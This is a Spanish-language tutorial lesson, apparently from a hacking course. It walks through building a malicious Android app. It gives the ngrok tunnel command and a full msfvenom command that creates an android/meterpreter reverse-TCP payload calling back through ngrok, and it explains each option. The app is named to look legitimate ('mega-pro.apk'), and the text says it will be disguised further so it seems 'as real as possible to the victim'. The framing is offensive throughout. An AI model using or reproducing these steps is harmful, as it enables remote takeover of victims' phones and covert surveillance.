Hola a tod@s nuevamente en esta clase vamos a crear una aplicación maliciosa, la cual luego vamos a ir modificando para que sea lo más real posible para la víctima.

En un principio vamos a crear la aplicación con msfvenom, pero primero vamos a poner en marcha nuestro servicio puente de ngrok.

Recuerden que para levantar el servicio de ngrok tenemos que llamarlo con el siguiente comando.

root@computaxion:~# ngrok tcp 4444

Luego vamos a abrir otra terminal y vamos a ejecutar los siguientes comandos.

root@computaxion:~# msfvenom -p android/meterpreter/reverse\_tcp LHOST=0.tcp.ngrok.io LPORT=14240 R >mega-pro.apk

Con -p le estamos diciendo que queremos usar un payload para Android meterpreter reverso.

Con LHOST le decimos que queremos usar la dirección que nos brinda ngrok, esto lo hacemos porque vamos a hacer un ataque fuera de la red local, en otro caso podríamos usar nuestra propia ip pública.

Con LPORT le decimos que queremos usar el puerto que nos brinda el puente con ngrok. Ojo con esto porque es normal que se confundan y coloquen el 4444 que creo la conexión con ngrok. Recuerden que va el puerto que nos brinda NGROK. Ej. 14555

Con R le decimos el nombre que le vamos a colocar a nuestra apk y si no agregamos una ruta va a guardar la apk en el lugar por defecto que en mi caso es "root". En caso de querer colocarla en el escritorio por ejemplo, se lo agregamos. Je. /root/Desktop

Bien ahora que ya tenemos ngrok activo y la apk maliciosa creada, vamos a pasar a un nuevo video en el cual editaremos el nombre de la apk. Pero antes que nada vamos a editar los permisos desde kali Linux.